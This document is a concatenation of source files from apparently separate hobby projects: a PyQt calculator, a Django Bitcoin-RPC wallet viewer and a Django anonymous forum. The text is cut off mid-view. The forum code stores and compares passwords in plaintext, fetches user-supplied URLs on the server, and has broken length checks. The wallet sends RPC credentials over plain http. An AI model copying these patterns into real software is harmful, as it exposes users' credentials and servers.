self.pushButton_3.clicked.connect(self.num_button_clicked) self.pushButton_4.clicked.connect(self.num_button_clicked) self.pushButton_5.clicked.connect(self.num_button_clicked) self.pushButton_6.clicked.connect(self.num_button_clicked) self.pushButton_7.clicked.connect(self.num_button_clicked) self.pushButton_8.clicked.connect(self.num_button_clicked) self.pushButton_9.clicked.connect(self.num_button_clicked) self.pushButton_PLUS.clicked.connect(self.op_button_clicked) self.pushButton_MINUS.clicked.connect(self.op_button_clicked) self.pushButton_MULTIPLY.clicked.connect(self.op_button_clicked) self.pushButton_DIVIDE.clicked.connect(self.op_button_clicked) self.pushButton_EQUALS.clicked.connect(self.op_button_clicked) self.pushButton_DEL.clicked.connect(self.op_button_clicked) def num_button_clicked(self): self.killExcessiveElement() sender = self.sender() self.line += sender.text() # Get button value self.delFirstZero() self.lineEdit.setText(self.line) # Write new value into lineEdit def op_button_clicked(self): sender = self.sender() # if self.op != sender.text() or len(self.line) > 0: self.killExcessiveElement() self.pushButton_PLUS.setStyleSheet('color: #4a4a4a') # Set default color to operation buttons self.pushButton_MINUS.setStyleSheet('color: #4a4a4a') self.pushButton_MULTIPLY.setStyleSheet('color: #4a4a4a') self.pushButton_DIVIDE.setStyleSheet('color: #4a4a4a') self.del_all() if sender.text() == '+': self.addition() elif sender.text() == '-': self.subtraction() elif sender.text() == '*': self.multiply() elif sender.text() == '/': self.divide() elif sender.text() == '=': self.equals() elif sender.text() == 'DEL': self.delete() def del_all(self): if len(self.line)>0: self.var = float(self.line) # Convert str into int self.values_list.append(self.var) # Add new number to list sender = self.sender() self.line = sender.text() self.lineEdit.setText(self.line) self.line = '' # If user chooses operation, delete all chars from display def getAnswer(self): self.killExcessiveElement() self.values_list.clear() if int(self.answer) == float(self.answer): self.answer = int(self.answer) self.values_list.append(str(self.answer)) # Get answer self.lineEdit.setText(self.values_list[0]) def checkout(self): try: if self.op == '+': # If user wrote "+" before self.answer = float(self.values_list[0]) + self.values_list[1] # Add two numbers self.getAnswer() # get Answer elif self.op == '-': self.answer = float(self.values_list[0]) - self.values_list[1] self.getAnswer() elif self.op == '*': self.answer = float(self.values_list[0]) * self.values_list[1] self.getAnswer() elif self.op == '/': try: self.answer = float(self.values_list[0]) / self.values_list[1] except ZeroDivisionError: # Catch ZeroDivisionError print('Don\'t play with zero') self.answer = 0 self.getAnswer() self.op = '' except IndexError: # if user changes operation, don't cause a crash pass if __name__ == "__main__": app = QtWidgets.QApplication(sys.argv) Form = QtWidgets.QWidget() ui = Example() ui.setupUi(Form) ui.Connection() Form.show() sys.exit(app.exec_()) --- FILE SEPARATOR --- class math_operations(): def addition(self): self.killExcessiveElement() self.checkout() # check if user chose operation before self.op = '+' self.pushButton_PLUS.setStyleSheet('color: red') def subtraction(self): self.killExcessiveElement() self.checkout() self.op = '-' self.pushButton_MINUS.setStyleSheet('color: red') # Set red color to button that user has clicked def multiply(self): self.killExcessiveElement() self.checkout() self.op = '*' self.pushButton_MULTIPLY.setStyleSheet('color: red') def divide(self): self.killExcessiveElement() self.checkout() self.op = '/' self.pushButton_DIVIDE.setStyleSheet('color: red') def delete(self): self.op = '' self.lineEdit.setText('0') self.values_list = [0] def equals(self): self.killExcessiveElement() if len(self.values_list) == 2: self.checkout() else: self.answer = self.values_list[0] self.lineEdit.setText(str(self.answer))
[ "/debug.py", "/interface.py", "/logic.py", "/operations.py" ]
0lEV/btc_wallet_management
from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.index, name='index'), url(r'^balance$', views.check_balance, name='balance'), url(r'^newaddress$', views.get_new_address, name='new_address'), url(r'^addresses$', views.get_addresses, name='addresses'), url(r'^accountaddress$', views.get_account_address, name='accountaddress'), url(r'^transactions$', views.list_transactions, name='transactions'), ] --- FILE SEPARATOR --- from django.http import HttpResponse, JsonResponse from bitcoinrpc.authproxy import AuthServiceProxy, JSONRPCException def create_rpc_connection(params): username = params.get('username') password = params.get('password') server = params.get('server') return AuthServiceProxy("http://%s:%s@%s" % (username, password, server), timeout=120) def make_response(data=None, error=''): return JsonResponse({'data': data, 'error': error}) def success_response(data): return make_response(data) def error_response(error: str): return make_response(error='Error: ' + error) --- FILE SEPARATOR --- from django.shortcuts import render from wallets.utils import success_response, error_response, create_rpc_connection from bitcoinrpc.authproxy import JSONRPCException import json def index(request): return render(request, 'index.html') def get_new_address(request): params = json.loads(request.body) rpc_connection = create_rpc_connection(params) try: res = rpc_connection.getnewaddress('') return success_response(res) except JSONRPCException as e: return error_response(e.message) def check_balance(request): params = json.loads(request.body) rpc_connection = create_rpc_connection(params) try: res = rpc_connection.getbalance('') balance = "{:f} BTC".format(res) return success_response(balance) except JSONRPCException as e: return error_response(e.message) def get_account_address(request): params = json.loads(request.body) rpc_connection = create_rpc_connection(params) try: res = rpc_connection.getaccountaddress('') return success_response(res) except JSONRPCException as e: return error_response(e.message) def get_addresses(request): params = json.loads(request.body) rpc_connection = create_rpc_connection(params) try: res = rpc_connection.getaddressesbyaccount('') return success_response(res) except JSONRPCException as e: return error_response(e.message) def list_transactions(request): params = json.loads(request.body) rpc_connection = create_rpc_connection(params) try: res = rpc_connection.listtransactions() return success_response(res) except JSONRPCException as e: return error_response(e.message)
[ "/wallets/urls.py", "/wallets/utils.py", "/wallets/views.py" ]
0lddriv3r/djangobbs_nmb
import pymysql pymysql.version_info=(1,3,13,"final",0) pymysql.install_as_MySQLdb --- FILE SEPARATOR --- from django.contrib import admin from .models import Thread, User, Black, Comment, Category # Register your models here. class UserAdmin(admin.ModelAdmin): list_display = ('username', 'password', 'email', 'ipaddr', 'createtime', 'lastpublishtime') class ThreadAdmin(admin.ModelAdmin): list_display = ('title', 'body', 'category', 'attachment', 'commentnum', 'createtime', 'updatetime') class CategoryAdmin(admin.ModelAdmin): list_display = ('name', 'nickname', 'index', 'createtime') class CommentAdmin(admin.ModelAdmin): list_display = ('title', 'body', 'floor', 'attachment', 'createtime') class BlackAdmin(admin.ModelAdmin): list_display = ('ipaddr', 'createtime') admin.site.register(User, UserAdmin) admin.site.register(Black, BlackAdmin) admin.site.register(Thread, ThreadAdmin) admin.site.register(Comment, CommentAdmin) admin.site.register(Category, CategoryAdmin) --- FILE SEPARATOR --- from django.apps import AppConfig class DevprojectConfig(AppConfig): name = 'devproject' --- FILE SEPARATOR --- from django import forms from .models import Category categorys = Category.objects.all() class SearchForm(forms.Form): keyword = forms.CharField(label='内容') class SearchPhotoForm(forms.Form): imgkey = forms.FileField(label='图片') class UserForm(forms.Form): password = forms.CharField(label='密码') username = forms.CharField(label='用户名') email = forms.CharField(label='邮箱', required=False) class ThreadForm(forms.Form): body = forms.CharField(label='内容') authorid = forms.CharField(label='作者') title = forms.CharField(label='标题', required=False) musicurl = forms.CharField(label='音乐', required=False) attachment = forms.FileField(label='附件', required=False) class CommentForm(forms.Form): body = forms.CharField(label='内容') threadid = forms.CharField(label='线程') authorid = forms.CharField(label='作者') categoryactive = forms.CharField(label='类别') title = forms.CharField(label='标题', required=False) musicurl = forms.CharField(label='音乐', required=False) attachment = forms.FileField(label='附件', required=False) --- FILE SEPARATOR --- # Generated by Django 2.2 on 2019-04-05 19:25 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Black', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('ipaddr', models.GenericIPAddressField(verbose_name='地址')), ('createtime', models.DateTimeField(auto_now_add=True, verbose_name='创建')), ], options={ 'verbose_name': '黑单', 'verbose_name_plural': '黑单', 'ordering': ['createtime'], }, ), migrations.CreateModel( name='Category', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=20, verbose_name='类别')), ('nickname', models.CharField(max_length=20, verbose_name='匿名')), ('createtime', models.DateTimeField(auto_now_add=True, verbose_name='创建')), ], options={ 'verbose_name': '类别', 'verbose_name_plural': '类别', 'ordering': ['createtime'], }, ), migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('avator', models.URLField(verbose_name='头像')), ('password', models.CharField(max_length=256, verbose_name='密码')), ('email', models.CharField(max_length=256, unique=True, verbose_name='邮箱')), ('username', models.CharField(max_length=128, unique=True, verbose_name='昵称')), ('createtime', models.DateTimeField(auto_now_add=True, verbose_name='创建')), ('ipaddr', models.GenericIPAddressField(null=True, verbose_name='地址')), ], options={ 'verbose_name': '用户', 'verbose_name_plural': '用户', 'ordering': ['createtime'], }, ), migrations.CreateModel( name='Thread', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('body', models.TextField(default='', verbose_name='正文')), ('attachment', models.TextField(null=True, verbose_name='附件')), ('title', models.CharField(max_length=100, null=True, verbose_name='标题')), ('createtime', models.DateTimeField(auto_now_add=True, verbose_name='创建')), ('updatetime', models.DateTimeField(auto_now=True, verbose_name='更新')), ('commentnum', models.IntegerField(default=0, verbose_name='评论')), ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='devproject.User', verbose_name='作者')), ('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='devproject.Category', verbose_name='类别')), ], options={ 'verbose_name': '线程', 'verbose_name_plural': '线程', 'ordering': ['createtime'], }, ), migrations.CreateModel( name='Comment', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('attachment', models.TextField(null=True, verbose_name='附件')), ('body', models.TextField(default='', verbose_name='正文')), ('title', models.CharField(max_length=100, null=True, verbose_name='标题')), ('createtime', models.DateTimeField(auto_now_add=True, verbose_name='时间')), ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='devproject.User', verbose_name='作者')), ('thread', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='devproject.Thread', verbose_name='线程')), ], options={ 'verbose_name': '评论', 'verbose_name_plural': '评论', 'ordering': ['createtime'], }, ), ] --- FILE SEPARATOR --- # Generated by Django 2.2 on 2019-04-08 07:19 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('devproject', '0001_initial'), ] operations = [ migrations.AddField( model_name='thread', name='lastthreadid', field=models.IntegerField(default=0, verbose_name='向下'), ), ] --- FILE SEPARATOR --- # Generated by Django 2.2 on 2019-04-06 11:56 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('devproject', '0002_auto_20190406_0940'), ] operations = [ migrations.AlterField( model_name='comment', name='musicurl', field=models.CharField(blank=True, max_length=300, null=True, verbose_name='音乐'), ), migrations.AlterField( model_name='thread', name='musicurl', field=models.CharField(blank=True, max_length=300, null=True, verbose_name='音乐'), ), ] --- FILE SEPARATOR --- # Generated by Django 2.2 on 2019-04-08 07:35 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('devproject', '0002_thread_lastthreadid'), ] operations = [ migrations.RemoveField( model_name='thread', name='lastthreadid', ), ] --- FILE SEPARATOR --- # Generated by Django 2.1.7 on 2019-04-07 15:20 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('devproject', '0003_auto_20190406_1956'), ] operations = [ migrations.AddField( model_name='comment', name='floor', field=models.IntegerField(default=1, verbose_name='楼层'), ), migrations.AddField( model_name='user', name='lastpublishtime', field=models.DateTimeField(auto_now=True, verbose_name='最后'), ), migrations.AlterField( model_name='comment', name='attachment', field=models.TextField(blank=True, null=True, verbose_name='附件'), ), migrations.AlterField( model_name='thread', name='attachment', field=models.TextField(blank=True, null=True, verbose_name='附件'), ), migrations.AlterField( model_name='user', name='email', field=models.CharField(max_length=255, unique=True, verbose_name='邮箱'), ), migrations.AlterField( model_name='user', name='password', field=models.CharField(max_length=255, verbose_name='密码'), ), ] --- FILE SEPARATOR --- # Generated by Django 2.2 on 2019-04-13 01:12 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('devproject', '0003_remove_thread_lastthreadid'), ('devproject', '0004_auto_20190407_2320'), ] operations = [ ] --- FILE SEPARATOR --- # Generated by Django 2.2 on 2019-04-13 01:16 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('devproject', '0005_merge_20190413_0912'), ] operations = [ migrations.AddField( model_name='category', name='index', field=models.IntegerField(default=0, verbose_name='排序'), ), ] --- FILE SEPARATOR --- from django.db import models from django.contrib.auth.models import AbstractUser # Create your models here. class User(models.Model): '''用户模型类''' avator = models.URLField('头像') password = models.CharField('密码', max_length=255) ipaddr = models.GenericIPAddressField('地址', null=True) email = models.CharField('邮箱', max_length=255, unique=True) username = models.CharField('昵称', max_length=128, unique=True) createtime = models.DateTimeField(auto_now_add=True, verbose_name='创建') lastpublishtime = models.DateTimeField(auto_now=True, verbose_name='最后') class Meta: ordering = ['createtime'] verbose_name = '用户' verbose_name_plural = verbose_name def __str__(self): return self.username class Category(models.Model): '''类别模型类''' name = models.CharField('类别', max_length=20) index = models.IntegerField('排序', default=0) nickname = models.CharField('匿名', max_length=20) createtime = models.DateTimeField(auto_now_add=True, verbose_name='创建') class Meta: ordering = ['createtime'] verbose_name = '类别' verbose_name_plural = verbose_name def __str__(self): return self.name class Thread(models.Model): '''线程模型类''' body = models.TextField('正文', default='') commentnum = models.IntegerField('评论', default=0) title = models.CharField('标题', max_length=100, null=True) attachment = models.TextField('附件', blank=True, null=True) updatetime = models.DateTimeField(auto_now=True, verbose_name='更新') createtime = models.DateTimeField(auto_now_add=True, verbose_name='创建') musicurl = models.CharField('音乐', max_length=300, blank=True, null=True) author = models.ForeignKey(User, on_delete=models.CASCADE, verbose_name='作者') category = models.ForeignKey(Category, on_delete=models.CASCADE, verbose_name='类别') class Meta: ordering = ['createtime'] verbose_name = '线程' verbose_name_plural = verbose_name def __str__(self): return self.title class Comment(models.Model): '''评论模型类''' body = models.TextField('正文', default='') floor = models.IntegerField('楼层', default=1) title = models.CharField('标题', max_length=100, null=True) attachment = models.TextField('附件', blank=True, null=True) createtime = models.DateTimeField(auto_now_add=True, verbose_name='时间') musicurl = models.CharField('音乐', max_length=300, blank=True, null=True) author = models.ForeignKey(User, verbose_name='作者', on_delete=models.CASCADE, ) thread = models.ForeignKey(Thread, verbose_name='线程', on_delete=models.CASCADE, ) class Meta: ordering = ['createtime'] verbose_name = '评论' verbose_name_plural = verbose_name def __str__(self): return self.body class Black(models.Model): '''黑名单模型类''' ipaddr = models.GenericIPAddressField('地址') createtime = models.DateTimeField(auto_now_add=True, verbose_name='创建') class Meta: ordering = ['createtime'] verbose_name = '黑单' verbose_name_plural = verbose_name def __str__(self): return self.ipaddr --- FILE SEPARATOR --- from django.urls import path import devproject.views as views urlpatterns = [ path('', views.index, name='index'), path('login/', views.login, name='login'), path('logout/', views.logout, name='logout'), path('searchphoto/', views.searchphoto, name='searchphoto'), path('search/', views.search, name='search'), path('publish/', views.publish, name='publish'), path('comment/', views.comment, name='comment'), path('register/', views.register, name='register'), path('category/<str:categorynick>/page/<int:pageindex>', views.page, name='page'), path('category/<str:categorynick>/thread/<int:threadid>/page/<int:pageindex>', views.detailpage, name='detailpage'), path('category/<str:categorynick>/thread/<int:threadid>', views.detail, name='detail'), path('category/<str:categorynick>/thread/<int:threadid>/next', views.detailnext, name='detailnext'), path('category/<str:categorynick>', views.category, name='category'), ] --- FILE SEPARATOR --- import os import re import time import glob import hashlib import requests import cv2 as cv from .forms import * from .models import * import urllib.request from PIL import Image from django.shortcuts import render from django.core.validators import validate_email from django.core.exceptions import ValidationError from django.views.decorators.cache import cache_page from django.http import HttpResponseRedirect, JsonResponse from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger # Create your views here. pagesize = 10 def index(request): authorid = request.session.get("authorid", None) username = request.session.get("username", None) errmsg_sider = request.session.get('errmsg_sider', None) errmsg_center = request.session.get('errmsg_center', None) categorys = Category.objects.all().order_by('index') threads = Thread.objects.all().order_by('-updatetime') paginator = Paginator(threads, pagesize, ) threads = paginator.get_page(1) if not authorid: rend = render(request, 'index.html', {'threads': threads, 'categorys': categorys, 'authorid': None, 'username': None, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': 'comprehensive'}) else: rend = render(request, 'index.html', {'threads': threads, 'categorys': categorys, 'username': username, 'authorid': authorid, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': 'comprehensive'}) request.session['errmsg_sider'] = None request.session['errmsg_center'] = None return rend def page(request, categorynick, pageindex): authorid = request.session.get("authorid", None) username = request.session.get("username", None) errmsg_sider = request.session.get('errmsg_sider', None) errmsg_center = request.session.get('errmsg_center', None) if categorynick == 'comprehensive': threads = Thread.objects.all().order_by('-updatetime') else: threads = Thread.objects.filter(category=Category.objects.get(nickname=categorynick)).order_by('-updatetime') paginator = Paginator(threads, pagesize, ) try: threads = paginator.get_page(pageindex) except PageNotAnInteger: threads = paginator.page(1) except EmptyPage: threads = paginator.page(paginator.num_pages) categorys = Category.objects.all().order_by('index') if not authorid: rend = render(request, 'index.html', {'threads': threads, 'categorys': categorys, 'authorid': None, 'username': None, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': categorynick}) else: rend = render(request, 'index.html', {'threads': threads, 'categorys': categorys, 'username': username, 'authorid': authorid, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': categorynick}) request.session['errmsg_sider'] = None request.session['errmsg_center'] = None return rend def detail(request, categorynick, threadid): authorid = request.session.get("authorid", None) username = request.session.get("username", None) errmsg_sider = request.session.get('errmsg_sider', None) errmsg_center = request.session.get('errmsg_center', None) categorys = Category.objects.all().order_by('index') nexttopicid = 0 thread = Thread.objects.get(id=threadid) threads = Thread.objects.filter(category=Category.objects.get(nickname=categorynick)).all() if threads: for threadtemp in threads: if threadtemp.id > threadid: nexttopicid = threadtemp.id break comments = Comment.objects.filter(thread=thread).order_by('createtime') paginator = Paginator(comments, pagesize, ) comments = paginator.page(1) if not authorid: rend = render(request, 'detail.html', {'thread': thread, 'categorys': categorys, 'authorid': None, 'username': None, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': categorynick, 'comments': comments, 'nexttopicid': nexttopicid}) else: rend = render(request, 'detail.html', {'thread': thread, 'categorys': categorys, 'username': username, 'authorid': authorid, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': categorynick, 'comments': comments, 'nexttopicid': nexttopicid}) request.session['errmsg_sider'] = None request.session['errmsg_center'] = None return rend def detailnext(request, categorynick, threadid): authorid = request.session.get("authorid", None) username = request.session.get("username", None) errmsg_sider = request.session.get('errmsg_sider', None) errmsg_center = request.session.get('errmsg_center', None) categorys = Category.objects.all().order_by('index') nexttopicid = 0 thread = Thread.objects.get(id=threadid) threads = Thread.objects.filter(category=Category.objects.get(nickname=categorynick)).all() if threads: for threadtemp in threads: if threadtemp.id > threadid: nexttopicid = threadtemp.id break comments = Comment.objects.filter(thread=thread).order_by('createtime') paginator = Paginator(comments, pagesize, ) comments = paginator.page(1) if not authorid: rend = render(request, 'detail.html', {'thread': thread, 'categorys': categorys, 'authorid': None, 'username': None, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': categorynick, 'comments': comments, 'nexttopicid': nexttopicid}) else: rend = render(request, 'detail.html', {'thread': thread, 'categorys': categorys, 'username': username, 'authorid': authorid, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': categorynick, 'comments': comments, 'nexttopicid': nexttopicid}) request.session['errmsg_sider'] = None request.session['errmsg_center'] = None return rend def detailpage(request, categorynick, threadid, pageindex): authorid = request.session.get("authorid", None) username = request.session.get("username", None) errmsg_sider = request.session.get('errmsg_sider', None) errmsg_center = request.session.get('errmsg_center', None) categorys = Category.objects.all().order_by('index') thread = Thread.objects.get(id=threadid) comments = Comment.objects.filter(thread=thread).order_by('createtime') paginator = Paginator(comments, pagesize, ) try: comments = paginator.get_page(pageindex) except PageNotAnInteger: comments = paginator.page(1) except EmptyPage: comments = paginator.page(paginator.num_pages) if not authorid: rend = render(request, 'detail.html', {'thread': thread, 'categorys': categorys, 'authorid': None, 'username': None, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': categorynick, 'comments': comments}) else: rend = render(request, 'detail.html', {'thread': thread, 'categorys': categorys, 'username': username, 'authorid': authorid, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': categorynick, 'comments': comments}) request.session['errmsg_sider'] = None request.session['errmsg_center'] = None return rend def category(request, categorynick): authorid = request.session.get("authorid", None) username = request.session.get("username", None) errmsg_sider = request.session.get('errmsg_sider', None) errmsg_center = request.session.get('errmsg_center', None) if categorynick == 'comprehensive': threads = Thread.objects.all().order_by('-updatetime') else: threads = Thread.objects.filter(category=Category.objects.get(nickname=categorynick)).order_by('-updatetime') paginator = Paginator(threads, pagesize, ) threads = paginator.page(1) categorys = Category.objects.all().order_by('index') if not authorid: rend = render(request, 'index.html', {'threads': threads, 'categorys': categorys, 'authorid': None, 'username': None, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': categorynick}) else: rend = render(request, 'index.html', {'threads': threads, 'categorys': categorys, 'username': username, 'authorid': authorid, 'errmsg_sider': errmsg_sider, 'errmsg_center': errmsg_center, 'categoryactive': categorynick}) request.session['errmsg_sider'] = None request.session['errmsg_center'] = None return rend def login(request): form = UserForm(request.POST) if form.is_valid(): data = form.cleaned_data username = data['username'] password = data['password'] ipaddr = request.META['REMOTE_ADDR'] flag = True try: Black.objects.get(ipaddr=ipaddr) except Black.DoesNotExist: flag = False if flag: return render(request, 'black.html') if not re.search(u'^[_a-zA-Z0-9\u4e00-\u9fa5]+$', username): request.session['errmsg_sider'] = '不可以包含非法字符!' return HttpResponseRedirect('/') try: userobj = User.objects.get(username=str(username)) except User.DoesNotExist: request.session['errmsg_sider'] = '用户名或密码错误!' return HttpResponseRedirect('/') if userobj.password == password: request.session['authorid'] = userobj.id request.session['username'] = userobj.username else: request.session['errmsg_sider'] = '用户名或密码错误!' return HttpResponseRedirect('/') def register(request): form = UserForm(request.POST) if form.is_valid(): data = form.cleaned_data email = data['email'].strip() username = data['username'].strip() password = data['password'].strip() ipaddr = request.META['REMOTE_ADDR'] flag = True try: Black.objects.get(ipaddr=ipaddr) except Black.DoesNotExist: flag = False if flag: return render(request, 'black.html') if len(username) <= 4 and len(username) >= 14: request.session['errmsg_sider'] = '用户名长度只能在4到14个字符之间!' return HttpResponseRedirect('/') if len(username) <= 4 and len(username) >= 14: request.session['errmsg_sider'] = '密码长度只能在4到14个字符之间!' return HttpResponseRedirect('/') if not re.search(u'^[_a-zA-Z0-9\u4e00-\u9fa5]+$', username): request.session['errmsg_sider'] = '不可以包含非法字符!' return HttpResponseRedirect('/') try: validate_email(email) except ValidationError: request.session['errmsg_sider'] = '邮箱格式错误!' return HttpResponseRedirect('/') m = hashlib.md5() m.update(email.encode("utf-8")) avator = 'http://www.gravatar.com/avatar/' + m.hexdigest() + '?s=50' flag = 0 try: User.objects.get(username=str(username)) except User.DoesNotExist: flag += 1 try: User.objects.get(email=email) except User.DoesNotExist: flag += 1 if flag == 2: userobj = User.objects.create(username=str(username), password=str(password), email=email, avator=avator, ipaddr=ipaddr) request.session['authorid'] = userobj.id request.session['username'] = userobj.username else: request.session['errmsg_sider'] = '用户名或邮箱已存在!' return HttpResponseRedirect('/') request.session['errmsg_sider'] = '填写的数据有误!' return HttpResponseRedirect('/') def logout(request): if not request.session.get('username', None): request.session['errmsg_sider'] = '未登录!' return HttpResponseRedirect('/') request.session.flush() return HttpResponseRedirect('/') def search(request): form = SearchForm(request.POST) if form.is_valid(): data = form.cleaned_data keyword = data['keyword'] if not re.search(u'^[_a-zA-Z0-9\u4e00-\u9fa5]+$', keyword): request.session['errmsg_keyword'] = '不可以包含非法字符!' return HttpResponseRedirect('/') threads = Thread.objects.filter(title__icontains=keyword) if len(threads) > 10: threads = threads[:10] authorid = request.session.get("authorid", None) username = request.session.get("username", None) categorys = Category.objects.all().order_by('index') if not authorid: rend = render(request, 'index.html', {'threads': threads, 'categorys': categorys, 'authorid': None, 'username': None, 'categoryactive': 'comprehensive'}) else: rend = render(request, 'index.html', {'threads': threads, 'categorys': categorys, 'username': username, 'authorid': authorid, 'categoryactive': 'comprehensive'}) return rend request.session['errmsg_keyword'] = '输入关键词错误!' return HttpResponseRedirect('/') def searchphoto(request): form = SearchPhotoForm(request.POST, request.FILES) if form.is_valid(): imgkey = form.cleaned_data['imgkey'] ext = os.path.splitext(imgkey.name)[1] if ext != '.jpg' and ext != '.png': return JsonResponse({'res': '图片格式不支持!'}) if imgkey.size > 6291456: return JsonResponse({'res': '图片大小不能超过6兆!'}) flag = False basepath = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) ext = os.path.splitext(imgkey.name)[1] dir = '/static/chimg/' filename = str(int(time.time())) filepath = dir + filename + ext f = open(basepath + filepath, 'wb') for line in imgkey.chunks(): f.write(line) f.close() if imgkey.size > 1572864: if ext == '.png': png2jpg(basepath + filepath) realpath = dir + filename + '.jpg' for infile in glob.glob(basepath + realpath): im = Image.open(infile) size = im.size im.thumbnail(size, Image.ANTIALIAS) im.save(basepath + realpath, 'jpeg') flag = True if flag: path = realpath else: path = filepath filename, ext2 = os.path.splitext(path) files = None if ext2 == '.jpg': files = {'file': (filename + ext2, open(basepath + path, 'rb'), 'image/jpeg', {})} else: files = {'file': (filename + ext2, open(basepath + path, 'rb'), 'image/png', {})} res = requests.post(url='http://saucenao.com/search.php', files=files) obj = re.search(r'"https://danbooru.donmai.us/(.*?)"', res.text) if obj: return JsonResponse({'res': obj.group(0).replace(r'"', '')}) else: return JsonResponse({'res': '没有发现这张图片呢~'}) return JsonResponse({'res': '上传出现错误!'}) def publish(request): username = request.session.get('username', None) if not username: request.session['errmsg_center'] = '未登录!' return HttpResponseRedirect('/') flag = True try: userobj = User.objects.get(username=str(username)) Black.objects.get(ipaddr=userobj.ipaddr) except Black.DoesNotExist: flag = False if flag: return render(request, 'black.html') category = None form = ThreadForm(request.POST, request.FILES) if form.is_valid(): data = form.cleaned_data body = data['body'] title = data['title'] authorid = data['authorid'] attachment = form.cleaned_data['attachment'] category = request.POST.get('category') musicurl = data['musicurl'] if len(title) >= 50: request.session['errmsg_center'] = '标题长度不能大于50个字符!' return HttpResponseRedirect('/category/' + category) if len(body) >= 10000: request.session['errmsg_center'] = '内容长度不能大于10000个字符!' return HttpResponseRedirect('/category/' + category) if musicurl: ext = os.path.splitext(musicurl)[1] if ext != '.mp3': request.session['errmsg_center'] = 'MP3链接格式错误!' return HttpResponseRedirect('/category/' + category) try: with urllib.request.urlopen(musicurl) as file: flag = False except urllib.request.URLError: flag = True if flag: request.session['errmsg_center'] = 'MP3链接可能失效了!' return HttpResponseRedirect('/category/' + category) if attachment: ext = os.path.splitext(attachment.name)[1] if ext != '.jpg' and ext != '.png': request.session['errmsg_center'] = '图片格式不支持!' return HttpResponseRedirect('/category/' + category) if attachment.size > 6291456: request.session['errmsg_center'] = '图片大小不能超过6兆!' return HttpResponseRedirect('/category/' + category) if not title: title = '无标题' path = None if attachment: basepath = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) ext = os.path.splitext(attachment.name)[1] dir = '/static/img/' filename = str(int(time.time())) filepath = dir + filename + ext f = open(basepath + filepath, 'wb') for line in attachment.chunks(): f.write(line) f.close() if attachment.size > 1572864: if ext == '.png': png2jpg(basepath + filepath) realpath = dir + filename + '.jpg' for infile in glob.glob(basepath + realpath): im = Image.open(infile) size = im.size im.thumbnail(size, Image.ANTIALIAS) im.save(basepath + realpath, 'jpeg') flag = True if flag: path = realpath else: path = filepath author = User.objects.get(id=authorid) category = Category.objects.get(nickname=category) Thread.objects.create(title=title, body=body, author=author, attachment=path, category=category, musicurl=musicurl) return HttpResponseRedirect('/category/' + category.nickname) request.session['errmsg_center'] = '信息输入错误' return HttpResponseRedirect('/category/' + category.nickname) def comment(request): username = request.session.get('username', None) if not username: request.session['errmsg_center'] = '未登录!' return HttpResponseRedirect('/') flag = True try: userobj = User.objects.get(username=str(username)) Black.objects.get(ipaddr=userobj.ipaddr) except Black.DoesNotExist: flag = False if flag: return render(request, 'black.html') thread = None category = None form = CommentForm(request.POST, request.FILES) if form.is_valid(): data = form.cleaned_data body = data['body'] title = data['title'] threadid = data['threadid'] authorid = data['authorid'] attachment = form.cleaned_data['attachment'] categoryactive = data['categoryactive'] musicurl = data['musicurl'] if len(title) >= 50: request.session['errmsg_center'] = '标题长度不能大于50个字符!' return HttpResponseRedirect('/category/' + categoryactive + '/thread/' + str(threadid)) if len(body) >= 10000: request.session['errmsg_center'] = '内容长度不能大于10000个字符!' return HttpResponseRedirect('/category/' + categoryactive + '/thread/' + str(threadid)) if musicurl: ext = os.path.splitext(musicurl)[1] if ext != '.mp3': request.session['errmsg_center'] = 'MP3链接格式错误!' return HttpResponseRedirect('/category/' + categoryactive + '/thread/' + str(threadid)) flag = False try: with urllib.request.urlopen(musicurl) as file: flag = False except urllib.request.URLError: flag = True if flag: request.session['errmsg_center'] = 'MP3链接可能失效了!' return HttpResponseRedirect('/category/' + categoryactive + '/thread/' + str(threadid)) if attachment: ext = os.path.splitext(attachment.name)[1] if ext != '.jpg' and ext != '.png': request.session['errmsg_center'] = '图片格式不支持!' return HttpResponseRedirect('/category/' + categoryactive + '/thread/' + str(threadid)) if attachment.size > 6291456: request.session['errmsg_center'] = '图片大小不能超过6兆!' return HttpResponseRedirect('/category/' + categoryactive + '/thread/' + str(threadid)) if not title: title = '无标题' path = None if attachment: basepath = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) ext = os.path.splitext(attachment.name)[1] dir = 